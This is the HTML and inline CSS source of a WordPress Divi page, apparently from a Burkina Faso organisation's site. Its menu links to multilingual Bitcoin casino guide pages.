0;-webkit-animation:Grow .4s ease-in-out;animation:Grow .4s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav ul li:hover>ul{-webkit-animation:flipInX .6s ease-in-out;animation:flipInX .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav li:hover>ul{-webkit-animation:flipInY .6s ease-in-out;animation:flipInY .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_fullwidth_nav #main-header .container{width:100%;max-width:100%;padding-right:32px;padding-left:30px}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left #main-header .container{padding-left:0}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left .logo_container{padding-left:30px}}@media all and (max-width: 980px){.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container,.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_non_fixed_nav #page-container{padding-top:0}.et_fixed_nav.et_secondary_nav_only_menu.admin-bar #main-header{top:32px !important}.et_hide_mobile_logo #main-header .logo_container{display:none;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#top-menu{display:none}.et_hide_nav.et_fixed_nav #main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}#et-top-navigation{margin-right:0;-webkit-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left .et-fixed-header #et-top-navigation,.et_header_style_left #et-top-navigation{padding-top:24px;display:block}.et_fixed_nav #main-header{-webkit-transition:none;transition:none}.et_fixed_nav_temp #main-header{top:0 !important}#logo,.logo_container,#main-header,.container{-webkit-transition:none;transition:none}.et_header_style_left #logo{max-width:50%}#et_top_search{margin:0 35px 0 0;float:left}#et_search_icon:before{top:7px}.et_header_style_left .et-search-form{width:50% !important;max-width:50% !important}#et_mobile_nav_menu{display:block}#et-top-navigation .et-cart-info{margin-top:5px}}@media screen and (max-width: 782px){body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 767px){#et-top-navigation{margin-right:0}body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 479px){#et-top-navigation{margin-right:0}}@media print{#top-header,#main-header{position:relative !important;top:auto !important;right:auto !important;bottom:auto !important;left:auto !important}}
@-webkit-keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@-webkit-keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@-webkit-keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}/*!
	  * Animate.css - http://daneden.me/animate
	  * Licensed under the MIT license - http://opensource.org/licenses/MIT
	  * Copyright (c) 2015 Daniel Eden
	 */@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}
#main-header{line-height:23px;font-weight:500;top:0;background-color:#fff;width:100%;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);position:relative;z-index:99999}.nav li li{padding:0 20px;margin:0}.et-menu li li a{padding:6px 20px;width:200px}.nav li{position:relative;line-height:1em}.nav li li{position:relative;line-height:2em}.nav li ul{position:absolute;padding:20px 0;z-index:9999;width:240px;background:#fff;visibility:hidden;opacity:0;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-transform:translateZ(0);text-align:left}.nav li.et-hover>ul{visibility:visible}.nav li.et-touch-hover>ul,.nav li:hover>ul{opacity:1;visibility:visible}.nav li li ul{z-index:1000;top:-23px;left:240px}.nav li.et-reverse-direction-nav li ul{left:auto;right:240px}.nav li:hover{visibility:inherit}.et_mobile_menu li a,.nav li li a{font-size:14px;-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.et_mobile_menu li a:hover,.nav ul li a:hover{background-color:rgba(0,0,0,.03);opacity:.7}.et-dropdown-removing>ul{display:none}.mega-menu .et-dropdown-removing>ul{display:block}.et-menu .menu-item-has-children>a:first-child:after{font-family:ETmodules;content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}.et-menu .menu-item-has-children>a:first-child{padding-right:20px}.et-menu li li.menu-item-has-children>a:first-child:after{right:20px;top:6px}.et-menu-nav li.mega-menu{position:inherit}.et-menu-nav li.mega-menu>ul{padding:30px 20px;position:absolute!important;width:100%;left:0!important}.et-menu-nav li.mega-menu ul li{margin:0;float:left!important;display:block!important;padding:0!important}.et-menu-nav li.mega-menu li>ul{-webkit-animation:none!important;animation:none!important;padding:0;border:none;left:auto;top:auto;width:240px!important;position:relative;box-shadow:none;-webkit-box-shadow:none}.et-menu-nav li.mega-menu li ul{visibility:visible;opacity:1;display:none}.et-menu-nav li.mega-menu.et-hover li ul,.et-menu-nav li.mega-menu:hover li ul{display:block}.et-menu-nav li.mega-menu:hover>ul{opacity:1!important;visibility:visible!important}.et-menu-nav li.mega-menu>ul>li>a:first-child{padding-top:0!important;font-weight:700;border-bottom:1px solid rgba(0,0,0,.03)}.et-menu-nav li.mega-menu>ul>li>a:first-child:hover{background-color:transparent!important}.et-menu-nav li.mega-menu li>a{width:200px!important}.et-menu-nav li.mega-menu.mega-menu-parent li>a,.et-menu-nav li.mega-menu.mega-menu-parent li li{width:100%!important}.et-menu-nav li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100%!important}.et-menu-nav li.mega-menu>ul>li{width:25%;margin:0}.et-menu-nav li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}.et-menu-nav li.mega-menu.mega-menu-parent-2>ul>li{width:50%}.et-menu-nav li.mega-menu.mega-menu-parent-1>ul>li{width:100%}.et_pb_fullwidth_menu li.mega-menu .menu-item-has-children>a:first-child:after,.et_pb_menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}.et_fullwidth_nav #top-menu li.mega-menu>ul{width:auto;left:30px!important;right:30px!important}.et_mobile_menu{position:absolute;left:0;padding:5%;background:#fff;width:100%;visibility:visible;opacity:1;display:none;z-index:9999;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1)}#main-header .et_mobile_menu li ul,.et_pb_fullwidth_menu .et_mobile_menu li ul,.et_pb_menu .et_mobile_menu li ul{visibility:visible!important;display:block!important;padding-left:10px}.et_mobile_menu li li{padding-left:5%}.et_mobile_menu li a{border-bottom:1px solid rgba(0,0,0,.03);color:#666;padding:10px 5%;display:block}.et_mobile_menu .menu-item-has-children>a{font-weight:700;background-color:rgba(0,0,0,.03)}.et_mobile_menu li .menu-item-has-children>a{background-color:transparent}.et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before{content:"a";font-size:32px;position:relative;left:0;top:0;cursor:pointer}.et_pb_module .mobile_menu_bar:before{top:2px}.mobile_nav .select_page{display:none}
.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
#sidebar{padding-bottom:28px}#sidebar .et_pb_widget{margin-bottom:30px;width:100%;float:none}.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep{font-size:44px;line-height:44px}.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep{font-size:32px;line-height:32px}.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep{font-size:24px;line-height:24px}.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep{font-size:20px;line-height:20px}.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep{font-size:16px;line-height:16px}@media all and (min-width: 981px) and (max-width: 1100px){#sidebar .et_pb_widget{margin-left:0}.et_left_sidebar #sidebar .et_pb_widget{margin-right:0}}@media all and (min-width: 981px){#sidebar{float:left;width:20.875%}.et_right_sidebar #left-area{float:left;padding-right:5.5%}.et_right_sidebar #sidebar{padding-left:30px}.et_right_sidebar #main-content .container:before{right:20.875% !important}.et_left_sidebar #left-area{float:right;padding-left:5.5%}.et_left_sidebar #sidebar{padding-right:30px}.et_left_sidebar #main-content .container:before{left:20.875% !important}}@media all and (max-width: 980px){.et_right_sidebar #left-area,.et_right_sidebar #sidebar,.et_left_sidebar #left-area,.et_left_sidebar #sidebar{width:auto;float:none;padding-right:0;padding-left:0}.et_right_sidebar #left-area{margin-right:0}.et_right_sidebar #sidebar{margin-left:0;border-left:none}.et_left_sidebar #left-area{margin-left:0}.et_left_sidebar #sidebar{margin-right:0;border-right:none}}
.widget_search .screen-reader-text,.et_pb_widget .wp-block-search__label{display:none}.widget_search input#s,.widget_search input#searchsubmit,.et_pb_widget .wp-block-search__input,.et_pb_widget .wp-block-search__button{padding:.7em;height:40px !important;margin:0;font-size:14px;line-height:normal !important;border:1px solid #ddd;color:#666}.widget_search #s,.et_pb_widget .wp-block-search__input{width:100%;border-radius:3px}.widget_search #searchform,.et_pb_widget .wp-block-search{position:relative}.widget_search #searchsubmit,.et_pb_widget .wp-block-search__button{background-color:#ddd;-webkit-border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;position:absolute;right:0;top:0}#searchsubmit,.et_pb_widget .wp-block-search__button{cursor:pointer}
/*# sourceURL=divi-dynamic-critical-inline-css */
</style>
<link rel='stylesheet' id='divi-style-css' href='https://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/838" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=838' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="https://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template-default page page-id-838 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838 current_page_item"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/" aria-current="page">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
